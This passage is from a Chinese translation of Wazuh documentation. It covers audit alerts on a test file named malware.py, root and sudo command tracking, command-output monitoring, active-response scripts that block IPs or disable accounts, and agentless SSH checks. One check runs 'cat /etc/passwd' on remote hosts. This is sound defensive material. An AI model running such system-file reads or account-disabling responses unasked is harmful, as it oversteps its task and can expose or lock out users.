warx的单个规则,但我们有意将它们分开,因此每个规则都有自己唯一的密钥值,这对于分析很重要。 让我们看看执行以下命令时会发生什么: 新建: # touch /home/malware.py ** Alert 1487891161.28457: - audit,audit_watch_write,audit_watch_create, 2017 Feb 23 15:06:01 localhost->/var/log/audit/audit.log Rule: 80790 (level 3) -> 'Audit: Created: /home/malware.py' type=SYSCALL msg=audit(1487891161.190:2942): arch=c000003e syscall=2 success=yes exit=3 a0=7ffce677b7b7 a1=941 a2=1b6 a3=7ffce6779690 items=2 ppid=60621 pid=60761 auid=1000 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=pts0 ses=346 comm="touch" exe="/usr/bin/touch" subj=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023 key="audit-wazuh-w" type=CWD msg=audit(1487891161.190:2942): cwd="/" type=PATH msg=audit(1487891161.190:2942): item=0 name="/home/" inode=16777403 dev=fd:00 mode=040755 ouid=0 ogid=0 rdev=00:00 obj=system_u:object_r:home_root_t:s0 objtype=PARENT type=PATH msg=audit(1487891161.190:2942):item=1 name="/home/malware.py" inode=18369115 dev=fd:00 mode=0100644 ouid=0 ogid=0 rdev=00:00 obj=unconfined_u:object_r:home_root_t:s0 objtype=CREATE audit.type: SYSCALL audit.id: 2942 audit.syscall: 2 audit.success: yes audit.exit: 3 audit.ppid: 60621 audit.pid: 60761 audit.auid: 1000 audit.uid: 0 audit.gid: 0 audit.euid: 0 audit.suid: 0 audit.fsuid: 0 audit.egid: 0 audit.sgid: 0 audit.fsgid: 0 audit.tty: pts0 audit.session: 346 audit.command: touch audit.exe: /usr/bin/touch audit.key: audit-wazuh-w audit.cwd: / audit.directory.name: /home/ audit.directory.inode: 16777403 audit.directory.mode: 040755 audit.file.name: /home/malware.py audit.file.inode: 18369115 audit.file.mode: 0100644 写入: # nano /home/malware.py Alert: ** Alert 1487891353.48010: - audit,audit_watch_write, 2017 Feb 23 15:09:13 localhost->/var/log/audit/audit.log Rule: 80781 (level 3) -> 'Audit: Watch - Write access: /home/malware.py' type=SYSCALL msg=audit(1487891353.291:2956): arch=c000003e syscall=2 success=yes exit=3 a0=9e2e80 a1=441 a2=1b6 a3=63 items=2 ppid=60621 pid=60819 auid=1000 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=pts0 ses=346 comm="nano" exe="/usr/bin/nano" subj=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023 key="audit-wazuh-w" type=CWD msg=audit(1487891353.291:2956): cwd="/" type=PATH msg=audit(1487891353.291:2956): item=0 name="/home/" inode=16777403 dev=fd:00 mode=040755 ouid=0 ogid=0 rdev=00:00 obj=system_u:object_r:home_root_t:s0 objtype=PARENT type=PATH msg=audit(1487891353.291:2956): item=1 name="/home/malware.py" inode=18369115 dev=fd:00 mode=0100644 ouid=0 ogid=0 rdev=00:00 obj=unconfined_u:object_r:home_root_t:s0 objtype=NORMAL audit.type: SYSCALL audit.id: 2956 audit.syscall: 2 audit.success: yes audit.exit: 3 audit.ppid: 60621 audit.pid: 60819 audit.auid: 1000 audit.uid: 0 audit.gid: 0 audit.euid: 0 audit.suid: 0 audit.fsuid: 0 audit.egid: 0 audit.sgid: 0 audit.fsgid: 0 audit.tty: pts0 audit.session: 346 audit.command: nano audit.exe: /usr/bin/nano audit.key: audit-wazuh-w audit.cwd: / audit.directory.name: /home/ audit.directory.inode: 16777403 audit.directory.mode: 040755 audit.file.name: /home/malware.py audit.file.inode: 18369115 audit.file.mode: 0100644 更改权限 # chmod u+x /home/malware.py Alert:: ** Alert 1487891409.49498: - audit,audit_watch_attribute, 2017 Feb 23 15:10:09 localhost->/var/log/audit/audit.log Rule: 80787 (level 3) -> 'Audit: Watch - Change attribute: /home/malware.py' type=SYSCALL msg=audit(1487891408.563:2957): arch=c000003e syscall=268 success=yes exit=0 a0=ffffffffffffff9c a1=22f50f0 a2=1e4 a3=7fffe879a7d0 items=1 ppid=60621 pid=60820 auid=1000 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=pts0 ses=346 comm="chmod" exe="/usr/bin/chmod" subj=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023 key="audit-wazuh-a" type=CWD msg=audit(1487891408.563:2957): cwd="/" type=PATH msg=audit(1487891408.563:2957): item=0 name="/home/malware.py" inode=18369115 dev=fd:00 mode=0100644 ouid=0 ogid=0 rdev=00:00 obj=unconfined_u:object_r:home_root_t:s0 objtype=NORMAL audit.type: SYSCALL audit.id: 2957 audit.syscall: 268 audit.success: yes audit.exit: 0 audit.ppid: 60621 audit.pid: 60820 audit.auid: 1000 audit.uid: 0 audit.gid: 0 audit.euid: 0 audit.suid: 0 audit.fsuid: 0 audit.egid: 0 audit.sgid: 0 audit.fsgid: 0 audit.tty: pts0 audit.session: 346 audit.command: chmod audit.exe: /usr/bin/chmod audit.key: audit-wazuh-a audit.cwd: / audit.file.name: /home/malware.py audit.file.inode: 18369115 audit.file.mode: 0100644 读取权限 # /home/malware.py Alert: ** Alert 1487891459.53222: - audit,audit_watch_read, 2017 Feb 23 15:10:59 localhost->/var/log/audit/audit.log Rule: 80784 (level 3) -> 'Audit: Watch - Read access: /home/malware.py' type=SYSCALL msg=audit(1487891458.283:2960): arch=c000003e syscall=2 success=yes exit=3 a0=14d1e20 a1=0 a2=ffffffffffffff80 a3=7ffdd01083d0 items=1 ppid=60621 pid=60821 auid=1000 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=pts0 ses=346 comm="bash" exe="/usr/bin/bash" subj=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023 key="audit-wazuh-r" type=CWD msg=audit(1487891458.283:2960): cwd="/" type=PATH msg=audit(1487891458.283:2960): item=0 name="/home/malware.py" inode=18369115 dev=fd:00 mode=0100744 ouid=0 ogid=0 rdev=00:00 obj=unconfined_u:object_r:home_root_t:s0 objtype=NORMAL audit.type: SYSCALL audit.id: 2960 audit.syscall: 2 audit.success: yes audit.exit: 3 audit.ppid: 60621 audit.pid: 60821 audit.auid: 1000 audit.uid: 0 audit.gid: 0 audit.euid: 0 audit.suid: 0 audit.fsuid: 0 audit.egid: 0 audit.sgid: 0 audit.fsgid: 0 audit.tty: pts0 audit.session: 346 audit.command: bash audit.exe: /usr/bin/bash audit.key: audit-wazuh-r audit.cwd: / audit.file.name: /home/malware.py audit.file.inode: 18369115 audit.file.mode: 0100744 删除文件 # rm /home/malware.py Alert: ** Alert 1487891497.54463: - audit,audit_watch_write,audit_watch_delete, 2017 Feb 23 15:11:37 localhost->/var/log/audit/audit.log Rule: 80791 (level 3) -> 'Audit: Deleted: /home/malware.py' type=SYSCALL msg=audit(1487891496.026:2961): arch=c000003e syscall=263 success=yes exit=0 a0=ffffffffffffff9c a1=13b00c0 a2=0 a3=7ffe1b582dc0 items=2 ppid=60621 pid=60824 auid=1000 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=pts0 ses=346 comm="rm" exe="/usr/bin/rm" subj=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023 key="audit-wazuh-w" type=CWD msg=audit(1487891496.026:2961): cwd="/" type=PATH msg=audit(1487891496.026:2961): item=0 name="/home/" inode=16777403 dev=fd:00 mode=040755 ouid=0 ogid=0 rdev=00:00 obj=system_u:object_r:home_root_t:s0 objtype=PARENT type=PATH msg=audit(1487891496.026:2961): item=1 name="/home/malware.py" inode=18369115 dev=fd:00 mode=0100744 ouid=0 ogid=0 rdev=00:00 obj=unconfined_u:object_r:home_root_t:s0 objtype=DELETE audit.type: SYSCALL audit.id: 2961 audit.syscall: 263 audit.success: yes audit.exit: 0 audit.ppid: 60621 audit.pid: 60824 audit.auid: 1000 audit.uid: 0 audit.gid: 0 audit.euid: 0 audit.suid: 0 audit.fsuid: 0 audit.egid: 0 audit.sgid: 0 audit.fsgid: 0 audit.tty: pts0 audit.session: 346 audit.command: rm audit.exe: /usr/bin/rm audit.key: audit-wazuh-w audit.cwd: / audit.directory.name: /home/ audit.directory.inode: 16777403 audit.directory.mode: 040755 audit.file.name: /home/malware.py audit.file.inode: 18369115 audit.file.mode: 0100744 2.3 监控用户操作 在这里,我们选择审核具有管理员权限的用户运行的所有命令。审计配置非常简单: # auditctl -a exit,always -F euid=0 -F arch=b64 -S execve -k audit-wazuh-c # auditctl -a exit,always -F euid=0 -F arch=b32 -S execve -k audit-wazuh-c 如果root用户执行nano,则警报将如下所示: * Alert 1487892032.56406: - audit,audit_command, 2017 Feb 23 15:20:32 localhost->/var/log/audit/audit.log Rule: 80792 (level 3) -> 'Audit: Command: /usr/bin/nano' type=SYSCALL msg=audit(1487892031.893:2963): arch=c000003e syscall=59 success=yes exit=0 a0=14e4990 a1=14e4a30 a2=14d4ef0 a3=7ffdd01083d0 items=2 ppid=60621 pid=60840 auid=1000 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=pts0 ses=346 comm="nano" exe="/usr/bin/nano" subj=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023 key="audit-wazuh-c" type=EXECVE msg=audit(1487892031.893:2963): argc=1 a0="nano" type=CWD msg=audit(1487892031.893:2963): cwd="/" type=PATH msg=audit(1487892031.893:2963): item=0 name="/bin/nano" inode=18372489 dev=fd:00 mode=0100755 ouid=0 ogid=0 rdev=00:00 obj=system_u:object_r:bin_t:s0 objtype=NORMAL type=PATH msg=audit(1487892031.893:2963): item=1 name="/lib64/ld-linux-x86-64.so.2" inode=33595530 dev=fd:00 mode=0100755 ouid=0 ogid=0 rdev=00:00 obj=system_u:object_r:ld_so_t:s0 objtype=NORMAL audit.type: SYSCALL audit.id: 2963 audit.syscall: 59 audit.success: yes audit.exit: 0 audit.ppid: 60621 audit.pid: 60840 audit.auid: 1000 audit.uid: 0 audit.gid: 0 audit.euid: 0 audit.suid: 0 audit.fsuid: 0 audit.egid: 0 audit.sgid: 0 audit.fsgid: 0 audit.tty: pts0 audit.session: 346 audit.command: nano audit.exe: /usr/bin/nano audit.key: audit-wazuh-c audit.cwd: / audit.file.name: /bin/nano audit.file.inode: 18372489 audit.file.mode: 0100755 2.4 特权升级 默认情况下,Wazuh能够通过分析/var/log/auth.log中的相应日志来检测权限提升。以下示例显示以home的用户执行了root权限的操作。 # homer@springfield:/# sudo ls /var/ossec/etc Wazuh检测到该动作,在其他字段中提取srcuser,dstuser和command: ** Alert 1487892460.79075: - syslog,sudo,pci_dss_10.2.5,pci_dss_10.2.2, 2017 Feb 23 15:27:40 localhost->/var/log/secure Rule: 5402 (level 3) -> 'Successful sudo to ROOT executed' User: root Feb 23 15:27:40 localhost sudo: rromero : TTY=pts/0 ; PWD=/home/rromero ; USER=root ; COMMAND=/bin/ls /var/ossec/etc tty: pts/0 pwd: /home/rromero command: /bin/ls 但是,您可能会发现此级别的详细信息不足,在这种情况下您可以使用审核。如果您创建了一个规则来监视root操作,就像在前一个用例中一样,将记录每个带有sudo的操作,但是auid字段将不会显示实际的提权用户的账号信息。您通常想知道最初发起命令的人,无论是否提权。为了在sudo之后保持用户的跟踪,有必要配置PAM。 注意:对PAM配置要非常小心,因为错误的配置可能会使您的系统无法访问。 将以下行添加到需要它的每个PAM服务: session required pam_loginuid.so 常见配置应包括:login,common-session,cron和sshd: # grep -R "pam_loginuid.so" /etc/pam.d/ /etc/pam.d/login:session required pam_loginuid.so /etc/pam.d/common-session:session required pam_loginuid.so /etc/pam.d/cron:session required pam_loginuid.so /etc/pam.d/sshd:session required pam_loginuid.so 在配置PAM之后,如果我们使用home的用户执行上一个命令,我们将看到字段auid是1004,即用home用户的id。 ** Alert 1487892803.121460: - audit,audit_command, 2017 Feb 23 15:33:23 localhost->/var/log/audit/audit.log Rule: 80792 (level 3) -> 'Audit: Command: /usr/bin/ls' type=SYSCALL msg=audit(1487892802.652:3054): arch=c000003e syscall=59 success=yes exit=0 a0=7f711f7d4ef8 a1=7f711f7d6358 a2=7f711f7df2e0 a3=7 items=2 ppid=60910 pid=60911 auid=1000 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=pts0 ses=346 comm="ls" exe="/usr/bin/ls" subj=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023 key="audit-wazuh-c" type=EXECVE msg=audit(1487892802.652:3054): argc=2 a0="ls" a1="/var/ossec/etc" type=CWD msg=audit(1487892802.652:3054): cwd="/home/rromero" type=PATH msg=audit(1487892802.652:3054): item=0 name="/bin/ls" inode=16912203 dev=fd:00 mode=0100755 ouid=0 ogid=0 rdev=00:00 obj=system_u:object_r:bin_t:s0 objtype=NORMAL type=PATH msg=audit(1487892802.652:3054): item=1 name="/lib64/ld-linux-x86-64.so.2" inode=33595530 dev=fd:00 mode=0100755 ouid=0 ogid=0 rdev=00:00 obj=system_u:object_r:ld_so_t:s0 objtype=NORMAL audit.type: SYSCALL audit.id: 3054 audit.syscall: 59 audit.success: yes audit.exit: 0 audit.ppid: 60910 audit.pid: 60911 audit.auid: 1000 audit.uid: 0 audit.gid: 0 audit.euid: 0 audit.suid: 0 audit.fsuid: 0 audit.egid: 0 audit.sgid: 0 audit.fsgid: 0 audit.tty: pts0 audit.session: 346 audit.command: ls audit.exe: /usr/bin/ls audit.key: audit-wazuh-c audit.cwd: /home/rromero audit.file.name: /bin/ls audit.file.inode: 16912203 七、命令监控 有时您可能想要监控日志中没有内容。为了解决这个问题,Wazuh结合了监控特定命令输出的功能,并将输出视为日志文件内容。 1.执行流程 在代理上设置特定命令输出的监控需要以下内容配置: 1.1 配置Wazuh代理以接受来自管理器的远程命令 代理能够运行从管理器推送的命令(通过目录中的shared文件)。但是,在使用此功能之前,必须明确配置代理以接受远程命令。这可以通过在每个代理上的文件中设置logcollector.remote_commands来完成,local_internal_options.conf如下所示: # Logcollector - Whether or not to accept remote commands from the manager logcollector.remote_commands=1 1.2 配置要监控的命令 可以在各个代理程序的本地ossec.conf文件中配置要运行和监视的命令,但是,此配置的理想位置位于管理器上的agent.conf文件的相应配置中。 <localfile> <log_format>full_command</log_format> <command>.....</command> <frequency>120</frequency> </localfile> 1.3 处理输出 在配置系统以监视命令的输出(就像它是日志数据)之后,可以创建自定义规则,例如用于日志分析,以便处理输出并在满足警报条件时触发警报。 2.配置 2.1基本用法 命令监视在ossec.conf的localfile section中配置。它也可以在agent.conf中集中配置。 2.2 监视运行Windows进程 假设您希望监视正在运行的进程,并在重要进程未运行时发出警报。 使用notepad.exe作为监视的重要过程的示例: 1.在代理程序的local_internal_options.conf文件中配置代理程序以接受来自管理器的远程命令。 # Logcollector - Whether or not to accept remote commands from the manager logcollector.remote_commands=1 2.在manager的agent.conf文件中定义命令以列出正在运行的进程。 <localfile> <log_format>full_command</log_format> <command>tasklist</command> <frequency>120</frequency> </localfile> 该<frequency>标签定义命令将在几秒钟内运行。 3.定义规则 <rule id="100010" level="6"> <if_sid>530</if_sid> <match>^ossec: output: 'tasklist'</match> <description>Important process not running.</description> <group>process_monitor,</group> </rule> <rule id="100011" level="0"> <if_sid>100010</if_sid> <match>notepad.exe</match> <description>Processes running as expected</description> <group>process_monitor,</group> </rule> 第一个规则(100010)将生成警报(“重要进程未运行”),除非它被其子命令(100011)覆盖,该子规则与命令输出中的notepad.exe匹配。您可以根据需要添加任意数量的子规则,以枚举您要监视的所有重要进程。您还可以通过<command>标签添加为tasklist列出进程的Linux命令来调整此示例以监视Linux 进程,例如命令:ps -auxw 2.3 磁盘空间利用率 df可以在管理器的agent.conf文件或代理的ossec.conf文件中配置该命令: <localfile> <log_format>command</log_format> <command>df -P</command> </localfile> Wazuh已经有规则来监控这个: <rule id="531" level="7" ignore="7200"> <if_sid>530</if_sid> <match>ossec: output: 'df -P': /dev/</match> <regex>100%</regex> <description>Partition usage reached 100% (disk space monitor).</description> <group>low_diskspace,pci_dss_10.6.1,</group> </rule> 一旦任何分区上的磁盘空间使用率达到100%,系统将发出警报。 2.5 检查输出是否更改 在这种情况下,Linux“netstat”命令与check_diff选项一起用于监视侦听tcp sockets 的更改。 这可以在agent.conf文件或ossec.conf文件中配置: <localfile> <log_format>full_command</log_format> <command>netstat -tan |grep LISTEN|grep -v 127.0.0.1</command> </localfile> Wazuh已经有规则来监控这个: <rule id="533" level="7"> <if_sid>530</if_sid> <match>ossec: output: 'netstat -tan</match> <check_diff /> <description>Listened ports status (netstat) changed (new port opened or closed).</description> <group>pci_dss_10.2.7,pci_dss_10.6.1,</group> </rule> 如果输出发生更改,系统将生成一个警报,指示网络侦听器已取消或已出现新的警报。这可能表示某些内容已损坏或已安装了后门 2.6 负载均衡值 Wazuh可以配置为监视Linux ,uptime命令并在高于给定阈值时发出警报,例如本例中的2 这可以在agent.conf文件或ossec.conf文件中配置: <localfile> <log_format>command</log_format> <command>uptime</command> </localfile> 当“正常运行时间”高于2倍时,自定义规则会发出警报: <rule id="100101" level="7" ignore="7200"> <if_sid>530</if_sid> <match>ossec: output: 'uptime': </match> <regex>load averages: 2.</regex> <description>Load average reached 2..</description> </rule> 2.7 检测USB存储 Wazuh可配置为在连接USB存储设备时发出警报。此示例适用于Windows代理。 通过将以下内容添加到管理器来配置代理以监视USBSTOR注册表项 agent.conf <agent_config os="Windows"> <localfile> <log_format>full_command</log_format> <command>reg QUERY HKLM\SYSTEM\CurrentControlSet\Enum\USBSTOR</command> </localfile> </agent_config> 接下来创建自定义规则: <rule id="140125" level="7"> <if_sid>530</if_sid> <match>ossec: output: 'reg QUERY</match> <check_diff /> <description>New USB device connected</description> </rule> 3.常规问题 3.1 可以在Linux和Windows上监控命令吗? 是。您可以在Linux和Windows系统上监视命令输出。 3.2 什么是命令监控功能? 这些功能主要包括监视磁盘空间利用率,负载均衡值,网络侦听器的更改以及运行进程以确保所有重要进程都在运行。 3.3 我可以检查应用程序是否在代理上运行吗? 是的,可以监控正在运行的应用程序:示例 八、主动响应 主动响应执行各种策略以解决受到的主动威胁,例如在满足某些规则时阻止从威胁源访问代理。 主动响应执行脚本以应答基于警报级别或规则组触发的特定警报。可以应答触发器启动任意数量的脚本,但是,应仔细考虑这些应答。规则和应答的执行不力可能会增加系统的危险性。 1.处理流程 1.1触发主动响应 主动响应是配置在特定警报,警报级别或规则组已被触发执行脚本。主动响应是有状态响应或无状态响应。状态响应配置为在指定的时间段后撤消操作,而无状态响应配置为一次性操作。 1.2 执行主动响应 每个主动响应指定将执行其关联命令的位置包括:在触发警报的代理上,在管理器上,在另一个指定代理上或在还包括管理器的所有代理上。 1.3 主动响应配置 通过修改管理器中ossec.conf文件配置主动响应,如下所示: 创建一个命令 为了配置主动响应,必须定义一个命令,该命令将启动某个脚本以应答触发器。 要配置主动响应,请使用下面的模式定义命令的名称,然后引用要启动的脚本。接下来,定义将传递给脚本的数据类型。 能够从命令行接收参数的自定义脚本也可用于主动响应。 例如: <command> <name>host-deny</name> <executable>host-deny.sh</executable> <expect>srcip</expect> <timeout_allowed>yes</timeout_allowed> </command> 在此示例中,将调用该命令名(host-deny)并启动脚本(host-deny.sh)。数据类型定义为srcip。此命令配置为允许在指定的时间段内超时,使其成为有状态响应。 注意:有关在此处创建命令的更多信息和选项:command 定义主动响应 主动响应配置定义命令将在何时何处执行。当具有特定id,严重性级别或来源的特定规则与主动响应条件匹配时,将触发命令。此配置将进一步定义命令的操作将在何处启动,这意味着在执行位置:代理,管理器,本地或任何地方。 <active-response> <command>host-deny</command> <location>local</location> <level>7</level> <timeout>600</timeout> </active-response> 在此示例中,主动响应配置为执行上一步中定义的命令。 操作的位置定义为本地主机,当定义为规则的级别高于6的时任何时间时。命令配置中允许的超时也在上面的示例中定义。 注意:有主动响应选项的更多信息:主动响应 可以在以下位置查看主动响应日志:/var/ossec/logs/active-response.log 1.4 默认主动响应脚本 Wazuh预先配置了以下Linux脚本: 脚本名称描述 disable-account.sh 通过设置禁用帐户 passwd-l firewall-drop.sh 将IP添加到iptables拒绝列表中 firewalld-drop.sh 将IP添加到firewalld下拉列表中 host-deny.sh 将IP添加到/etc/hosts.deny文件中 ip-customblock.sh 自定义OSSEC,可轻松修改以进行自定义响应 ipfw_mac.sh Mac OS创建的防火墙被删除的响应脚本 ipfw.sh ipfw创建的防火墙被断开的响应脚本 npf.sh npf创建的防火墙被删除的响应脚本 ossec-slack.sh 在Slack上发布修改 ossec-tweeter.sh 在Twitter上发布修改 pf.sh pf创建的防火墙被删除的响应脚本 restart-ossec.sh 更改ossec.conf时自动重启Wazuh route-null.sh 将IP添加到空路由 以下预配置脚本适用于Windows: 脚本名称描述 netsh.cmd 使用netsh阻止ip restart-ossec.cmd 重新启动ossec代理 route-null.cmd 将IP添加到空路由 2.配置 2.1 基本用法 在Active Response和Command部分的ossec.conf文件中配置了主动响应。 在此示例中,restart-ossec命令配置为使用不带数据类型的restart-ossec.sh脚本。 主动响应配置为在ID为10005的规则触发时在本地主机上启动restart-ossec命令。 这是一个无状态响应,因为没有定义超时参数。 命令: <command> <name>restart-ossec</name> <executable>restart-ossec.sh</executable> <expect></expect> </command> 无状态主动响应: <active-response> <command>restart-ossec</command> <location>local</location> <rules_id>10005</rules_id> </active-response> 2.2 Windows自动修复 在此示例中,该win_rout-null命令配置为脚本route-null.cmd,数据类型为脚本srcip。主动响应名称配置为win_rout-null,在规则等级高于7的警报级别时,将会在本地主机上启动该脚本命令。这是状态响应,超时设置为900秒。 命令: <command> <name>win_route-null</name> <executable>route-null.cmd</executable> <expect>srcip</expect> <timeout_allowed>yes</timeout_allowed> </command> 状态主动响应: <active-response> <command>win_route-null</command> <location>local</location> <level>8</level> <timeout>900</timeout> </active-response> 2.3 使用PF阻止IP 在此示例中,该pf-block命令配置为脚本pf.sh,数据类型为脚本scrip,主动响应名称配置为pf-block当“authentication_failed”或“authentication_failures”规则组中的规则触发时,主动响应被配置为在agent001上启动j脚本命令。这是一个无状态响应,因为没有定义超时参数。 命令: <command> <name>pf-block</name> <executable>pf.sh</executable> <expect>srcip</expect> </command> 无状态主动响应: <active-response> <command>pf-block</command> <location>defined-agent</location> <agent_id>001</agent_id> <rules_group>authentication_failed,authentication_failures</rules_group> </active-response> 2.4 将IP添加到iptables列表 在此示例中,firewall-drop命令配置为使用firewall-drop.sh脚本执行。 主动响应配置为在“authentication_failed”或“authentication_failures”规则组中的规则触发时,将在所有系统上启动firewall-drop.sh脚本命令。 这是状态响应,超时为700秒。 <repeated_offenders>标记通过特定IP地址增加每个后续攻击的超时时间。 注意:此参数以分钟而不是秒指定。 命令: <command> <name>firewall-drop</command> <executable>firewall-drop.sh</executable> <expect>srcip</expect> </command> 状态主动响应: <active-response> <command>firewall-drop</command> <location>all</location> <rules_group>authentication_failed,authentication_failures</rules_group> <timeout>700</timeout> <repeated_offenders>30,60,120</repeated_offenders> </active-response> 2.5在指定时间段内的主动响应 有状态响应的操作将持续指定的时间段。 在本例中,host-deny命令配置为使用数据类型scrip的host-deny.sh脚本。激活响应配置为在触发警报等级高于6的规则时将会在本地主机上启动host-deny.sh命令。 命令: <command> <name>host-deny</name> <executable>host-deny.sh</executable> <expect>srcip</expect> <timeout_allowed>yes</timeout_allowed> </command> 状态主动响应: <active-response> <command>host-deny</command> <location>local</location> <level>7</level> <timeout>600</timeout> </active-response> 更多信息:命令 6.不会撤消的主动响应 无状态命令的动作是一次性动作,不会被撤消。 在本例中,mail-test命令被配置为使用不带数据元素的mail-test.sh脚本。活动响应配置为在ID为1002的规则触发时在服务器上启动邮件测试命令。 命令: <command> <name>mail-test</name> <executable>mail-test.sh</executable> <timeout_allowed>no</timeout_allowed> <expect></expect> </command> 不撤销的主动响应: <active-response> <command>mail-test</command> <location>server</location> <rules_id>1002</rules_id> </active-response> 3.常问问题 3.1 我可以使用自定义脚本进行主动响应吗? 是。您可以创建自己的脚本并配置命令和主动响应以引用它。请记住,AR在运行脚本时应遵循特定的参数语法。参数按此顺序插入: <SCRIPT-NAME> <ACTION> <USER> <IP> <ALERT-ID> <RULE-ID> <AGENT> <FILENAME> 一些标记说明: <SCRIPT-NAME> 要运行的脚本文件的名称 <ACTION> 可以删除或添加 <USER> 用户名,如果没有被设置,也可以进行设置 <IP>是源IP。如果没有被设置,也可以进行设置 <ALERT-ID> 警报ID(每个警报都是唯一的)。 <RULE-ID> 规则ID。 <AGENT> 代理ID或主机名。 <FILENAME> 触发警报的日志的源路径文件(如果存在)。 3.2 我是否可以仅为一台主机配置主动响应? 是的,配置其选项。更多信息:Active Response选项 3.3 一段时间后,主动响应是否可以删除该操作? 是的,使用<timeout_allowed>命令上的<timeout>标记和主动响应上的标记。更多信息:示例 九、无代理监控 无代理监控允许您通过SSH监控没有agent的设备或系统,例如路由器,防火墙,交换机和linux/bsd系统。这允许具有软件安装限制的用户满足安全性和合规性要求。 当输出上的校验和发生变化时,将触发警报,并显示校验和或更改的真实的差异输出。 1.处理流程 1.1 连接 使用无代理监视的第一步是使用以下命令启用它: # /var/ossec/bin/ossec-control enable agentless 要使用SSH身份验证将管理器连接到设备,应该使用register_host.sh脚本。此脚本位于/var/ossec/agentless/目录中,有两个选项:list 和add。 使用该list选项将列出已包含的所有主机。 # /var/ossec/agentless/register_host.sh list 使用该add选项将指定要添加到管理器的新设备。NOPASS可以使用公钥认证而不输入密码。对于Cisco设备(如路由器或防火墙),enablepass应使用它来指定启用密码。 # /var/ossec/agentless/register_host.sh add root@example_address.com example_password [enablepass] 公钥认证可以与以下命令一起使用: # sudo -u ossec ssh-keygen 创建后,必须将公钥复制到远程设备中。 1.2 监控 将设备添加到列表后,必须将管理器配置为监视。要查看该ossec.conf文件的其他配置选项,请参阅无代理。 1.2.1 BSD完整性检查 对于BSD系统,请将类型设置为ssh_integrity_check_bsd,如下所述。 可以使用<arguments>标记在配置部分中引用以空格分隔的目录列表。 使用此配置,Wazuh将对远程控制端进行完整性检查。 <agentless> <type>ssh_integrity_check_bsd</type> <frequency>20000</frequency> <host>[email protected]</host> <state>periodic</state> <arguments>/bin /var/</arguments> </agentless> Linux完整性检查 对于Linux系统,请将类型设置为ssh_integrity_check_linux,如下所述。 可以使用<arguments>标记在配置部分中引用以空格分隔的目录列表。 使用此配置,Wazuh将对远程控制端进行完整性检查。 <agentless> <type>ssh_integrity_check_linux</type> <frequency>36000</frequency> <host>[email protected]</host> <state>periodic</state> <arguments>/bin /etc/ /sbin</arguments> </agentless> 通用差异 还可以将一组命令配置为在远程设备上运行。 如果这些命令的输出发生变化,Wazuh会发送警告给你。 要使用此选项,请将类型设置为ssh_generic_diff,如下所示 <agentless> <type>ssh_generic_diff</type> <frequency>20000</frequency> <host>[email protected]</host> <state>periodic_diff</state> <arguments>ls -la /etc; cat /etc/passwd</arguments> </agentless> 注意:要在命令中使用su作为参数,必须在主机名之前设置use_su。 在前面的示例中,这将显示为:<host> use_su root@example_address.com </ host> Pix配置 如果Cisco PIX 或路由器配置发生变化,此选项将发出警报。 将类型设置为ssh_pixconfig_diff,如下所示。 <agentless> <type>ssh_pixconfig_diff</type> <frequency>36000</frequency> <host>[email protected]</host> <state>periodic_diff</state> </agentless> 1.3 检查设置 最后,管理expect程序中必须包含此程序包才能使用此功能。 当expect程序包存在且Wazuh重新启动时,/var/ossec/logs/ossec.log文件中会显示以下内容: ossec-agentlessd: INFO: Test passed for 'ssh_integrity_check_linux' 当Wazuh连接到远程设备时,以下内容将显示在同一日志文件中: ossec-agentlessd: INFO: ssh_integrity_check_linux: root@example_adress.com: Starting. ossec-agentlessd: INFO: ssh_integrity_check_linux: root@example_adress.com: Finished. 1.4 警报 完成上述配置后,当目录中发生更改时,将触发Wazuh警报: 示例警报如下: 完整性检查BSD/Linux示例警报: ** Alert 1486811998.93230: - ossec,syscheck,pci_dss_11.5, 2017 Feb 11 03:19:58 ubuntu->(ssh_integrity_check_linux) [email protected]>syscheck Rule: 550 (level 7) -> 'Integrity checksum changed.' Integrity checksum changed for: '/etc/.hidden' Size changed from '0' to '10' Old md5sum was: 'd41d8cd98f00b204e9800998ecf8427e' New md5sum is : 'cc7bd56aba1122d0d5f9c7ef7f96de23' Old sha1sum was: 'da39a3ee5e6b4b0d3255bfef95601890afd80709' New sha1sum is : 'b570fbdf7d6ad1d1e95ef57b74877926e2cdf196' File: /etc/.hidden Old size: 0 New size: 10 New permissions: 1204 New user: 0 New group: 0 Old MD5: d41d8cd98f00b204e9800998ecf8427e New MD5: cc7bd56aba1122d0d5f9c7ef7f96de23 Old SHA1: da39a3ee5e6b4b0d3255bfef95601890afd80709 New SHA1: b570fbdf7d6ad1d1e95ef57b74877926e2cdf196 通用差异样本警报: ** Alert 1486811190.88243: - ossec,syscheck,agentless,pci_dss_11.5,pci_dss_10.6.1, 2017 Feb 11 03:06:30 ubuntu->(ssh_generic_diff) [email protected]>agentless Rule: 555 (level 7) -> 'Integrity checksum for agentless device changed.' ossec: agentless: Change detected: 3c3 < drwxr-xr-x. 77 root root 8192 Feb 27 10:44 . --- > drwxr-xr-x. 77 root root 8192 Feb 27 10:47 . 176a177 > -rw-r--r--. 1 root root 0 Feb 27 10:47 test 2.配置 无代理监视在无代理程序部分的ossec.conf文件中配置。 2.1 完整性检查 此示例配置将监视/bin和/var目录: <agentless> <type>ssh_integrity_check_bsd</type> <frequency>20000</frequency> <host>[email protected]</host> <state>periodic</state> <arguments>/bin /var/</arguments> </agentless> 请注意,<arguments>标记中可能包含多个目录,并以空格分隔。 2.2 完整性检查Linux 对于Linux系统,请将类型设置为ssh_integrity_check_linux,如下所述。 在这里,可以使用<arguments>标记在配置部分中引用以空格分隔的目录列表。 使用此配置,Wazuh将对远程控制端进行完整性检查。 示例配置将监视 /bin, /etc 和 /sbin目录 